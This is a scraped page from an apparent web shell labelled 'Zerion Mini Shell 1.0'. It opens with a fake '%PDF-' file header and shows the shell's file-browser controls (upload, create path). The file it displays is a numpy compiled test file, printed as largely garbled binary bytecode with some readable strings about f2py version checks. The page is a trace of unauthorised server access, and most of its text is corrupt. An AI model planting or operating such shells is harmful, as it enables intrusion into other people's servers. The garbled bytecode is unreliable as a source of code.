%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib64/python3.9/site-packages/numpy/tests/__pycache__/
Upload File :
Create Path :
Current File : //lib64/python3.9/site-packages/numpy/tests/__pycache__/test_scripts.cpython-39.opt-1.pyc

a

z[yc%�@s�dZddlZddlZddlZddlmZmZmZddl	Z	ddl
Zddlm
Z
eeeej�dd��Zdd�Zejjed	d
�ejjdd
�ej�de��d
d����Zdd�ZdS)z\ Test scripts

Test that we can run executable scripts that have been installed with numpy.
�N)�join�isfile�dirname)�assert_equalz..zsetup.pycCsztjdkrBttj�}|�d�r.tj�|d�gStj�|dd�gSn4tj}t	|j
�}t	|j�}dd|d|d|gSdS)N�win32ZScriptsZf2py�.)�sys�platformr�
executable�endswith�os�pathr�version_info�str�major�minor)�exe_dir�versionrr�r�>/usr/lib64/python3.9/site-packages/numpy/tests/test_scripts.py�find_f2py_commandss




rz Cannot test f2py command inplace)�reasonzTest is unreliable�f2py_cmdcCs(t�|dg�}t|��tj�d��dS)N�-v�ascii)�
subprocess�check_outputr�strip�np�__version__�encode)r�stdoutrrr�	test_f2py#sr"cCs,t�tjddg�}t|��tj�d��dS)Nz-mnumpy.f2pyrr)	rrrr
rrrrr )r!rrr�test_pep338,sr#)�__doc__rrZpytestZos.pathrZpathjoinrrrZnumpyrZ
numpy.testingr�__file__Z
is_inplacerZmarkZskipifZxfailZparametrizer"r#rrrr�<module>s

Zerion Mini Shell 1.0